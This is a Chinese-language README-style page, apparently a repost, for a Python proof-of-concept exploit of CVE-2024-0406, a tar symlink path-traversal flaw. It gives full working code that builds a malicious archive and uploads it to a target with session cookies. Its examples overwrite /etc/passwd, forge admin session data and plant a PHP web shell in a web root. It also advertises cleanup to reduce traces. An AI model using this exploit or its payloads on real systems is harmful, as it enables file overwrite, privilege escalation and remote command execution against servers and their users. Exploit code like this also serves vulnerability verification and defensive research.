CVE-2024-0406 漏洞利用验证框架 | 针对tar存档符号链接路径遍历

5 阅读5分钟

CVE-2024-0406 漏洞利用验证框架

一个专业的 Python 概念验证(PoC)工具,用于演示和验证 CVE-2024-0406 漏洞。该漏洞存在于 tar 存档提取库中,攻击者可通过特制的符号链接实现路径遍历,进而覆盖目标系统上的任意文件。

Python 3.x转存失败,建议直接上传图片文件 License转存失败,建议直接上传图片文件 CVE转存失败,建议直接上传图片文件

功能特性

  • 恶意存档生成 - 自动化创建包含恶意符号链接及其对应payload的 tar 存档
  • 符号链接路径遍历 - 可自定义符号链接的目标路径,实现任意目录穿越
  • 灵活的数据注入 - 支持自定义写入目标文件的任意内容(如伪造的 session 数据、配置文件等)
  • 内置上传模块 - 提供 HTTP 上传功能,可直接将生成的恶意存档发送至目标端点
  • 会话管理支持 - 支持在请求中添加 cookies 和自定义 headers,模拟认证状态
  • 自动清理机制 - 操作完成后自动删除生成的临时存档文件,减少痕迹
  • 完全可配置 - 所有关键参数(目标路径、payload、文件名等)均可通过构造函数灵活设置

安装指南

系统要求

  • Python 3.6 或更高版本
  • pip 包管理工具

依赖项安装

# 克隆仓库(或直接下载脚本)
git clone https://github.com/yourusername/CVE-2024-0406-PoC.git
cd CVE-2024-0406-PoC

# 安装依赖
pip install requests

无需其他复杂依赖,核心库(os, tarfile, io, requests)均为 Python 标准库或常用第三方库。

使用说明

基础使用示例

from symlink_exploit import SymlinkArchiveExploit

# 初始化漏洞利用实例
exploit = SymlinkArchiveExploit(
    target_path="/tmp/sessions/",                    # 目标路径(路径遍历目标)
    payload_data='{"username":"attacker","role":"admin"}',  # 要写入的数据
    symlink_name="symlink_pyld",                      # 符号链接名称
    archive_name="malicious.tar"                      # 输出的恶意存档名
)

# 生成恶意存档
if exploit.create_malicious_archive():
    # 上传存档到目标服务器
    exploit.upload_archive(
        upload_url="http://target-site.com/user/upload",
        cookies={"session": "valid_session_id"},      # 可选:认证 cookie
        headers={"User-Agent": "CVE-2024-0406 Client"} # 可选:自定义 headers
    )

典型使用场景

场景1:本地测试与验证
# 仅生成恶意存档,不进行上传
exploit = SymlinkArchiveExploit("/etc/passwd", "hacked", "evil_link", "test.tar")
exploit.create_malicious_archive()
# 手动将 test.tar 提供给目标应用程序进行提取测试
场景2:远程漏洞验证(带认证)
exploit = SymlinkArchiveExploit(
    target_path="/var/www/html/config.php",
    payload_data="<?php system($_GET['cmd']); ?>",
    symlink_name="config_symlink",
    archive_name="exploit.tar"
)

if exploit.create_malicious_archive():
    exploit.upload_archive(
        upload_url="https://vulnerable-app.com/api/upload",
        cookies={"PHPSESSID": "authenticated_session"},
        headers={"X-Requested-With": "XMLHttpRequest"}
    )

核心 API 概览

方法参数描述
__init__target_path, payload_data, symlink_name, archive_name初始化漏洞利用实例
create_malicious_archive()生成恶意 tar 存档,返回布尔值表示成功与否
upload_archive()upload_url, cookies, headers上传生成的存档到指定 URL,自动执行清理
cleanup()手动删除生成的存档文件(通常自动调用)

核心代码

主漏洞利用类实现

import os
import tarfile
import io
import requests
from typing import Optional, Dict

class SymlinkArchiveExploit:
    """
    CVE-2024-0406 漏洞利用核心类
    通过创建包含恶意符号链接的 tar 存档,实现路径遍历攻击
    """
    def __init__(
        self,
        target_path: str,
        payload_data: str,
        symlink_name: str = "symlink_pyld",
        archive_name: str = "malicious.tar"
    ):
        """
        初始化漏洞利用实例
        
        :param target_path: 符号链接指向的目标路径(攻击目标)
        :param payload_data: 要写入目标文件的字符串数据
        :param symlink_name: 存档中的符号链接/文件名
        :param archive_name: 输出的恶意存档文件名
        """
        self.target_path = target_path
        self.payload_data = payload_data
        self.symlink_name = symlink_name
        self.archive_name = archive_name

    def create_malicious_archive(self) -> bool:
        """
        创建恶意 tar 存档的核心方法
        
        攻击原理:
        1. 创建一个指向目标路径的符号链接条目
        2. 创建一个与符号链接同名的普通文件条目(包含payload)
        3. 提取时,如果应用程序未正确处理同名条目,payload将覆盖目标路径
        
        :return: 创建成功返回 True,否则 False
        """
        try:
            with tarfile.open(self.archive_name, "w") as tar:
                # 创建符号链接条目 - 用于指示提取路径
                symlink_info = tarfile.TarInfo(name=self.symlink_name)
                symlink_info.type = tarfile.SYMTYPE
                symlink_info.linkname = self.target_path
                tar.addfile(symlink_info)

                # 创建同名的普通文件条目 - 包含实际要写入的数据
                payload_info = tarfile.TarInfo(name=self.symlink_name)
                payload_info.size = len(self.payload_data)
                tar.addfile(payload_info, io.BytesIO(self.payload_data.encode('utf-8')))
            return True
        except Exception as e:
            print(f"创建存档时出错: {str(e)}")
            return False

    def upload_archive(
        self,
        upload_url: str,
        cookies: Optional[Dict] = None,
        headers: Optional[Dict] = None
    ) -> bool:
        """
        将生成的恶意存档上传到目标服务器
        
        :param upload_url: 文件上传接口的完整 URL
        :param cookies: 可选,用于认证的 cookies
        :param headers: 可选,自定义 HTTP headers
        :return: 上传成功返回 True,否则 False
        """
        try:
            with open(self.archive_name, 'rb') as f:
                files = {'archive': (self.archive_name, f, 'application/x-tar')}
                response = requests.post(
                    upload_url,
                    files=files,
                    cookies=cookies,
                    headers=headers
                )
                
                if response.status_code == 200:
                    print("上传成功")
                    return True
                
                print(f"上传失败: {response.status_code} - {response.text}")
                return False
        except Exception as e:
            print(f"上传出错: {str(e)}")
            return False
        finally:
            # 无论上传成功与否,都清理本地临时文件
            self.cleanup()

    def cleanup(self) -> None:
        """删除生成的临时存档文件,避免残留"""
        if os.path.exists(self.archive_name):
            os.remove(self.archive_name)
            print("临时文件已清理")

命令行使用示例

if __name__ == "__main__":
    # 命令行直接运行时的示例配置
    exploit = SymlinkArchiveExploit(
        target_path="/tmp/sessions/",  # 攻击目标:session 存储目录
        payload_data='{"username":"attacker","id":1,"role":"admin"}',  # 伪造的 session 数据
        symlink_name="symlink_pyld",
        archive_name="malicious.tar"
    )

    if exploit.create_malicious_archive():
        # 上传到测试环境
        exploit.upload_archive(
            upload_url="http://localhost:1337/user/upload",
            cookies={"session": "cookieValid"},
            headers={"User-Agent": "CVE-2024-0406 Client"}
        )
```FINISHED
6HFtX5dABrKlqXeO5PUv/+DA2imvAlUDELFoY0HBFvK1rywrowUcNMxrq9QjdrLq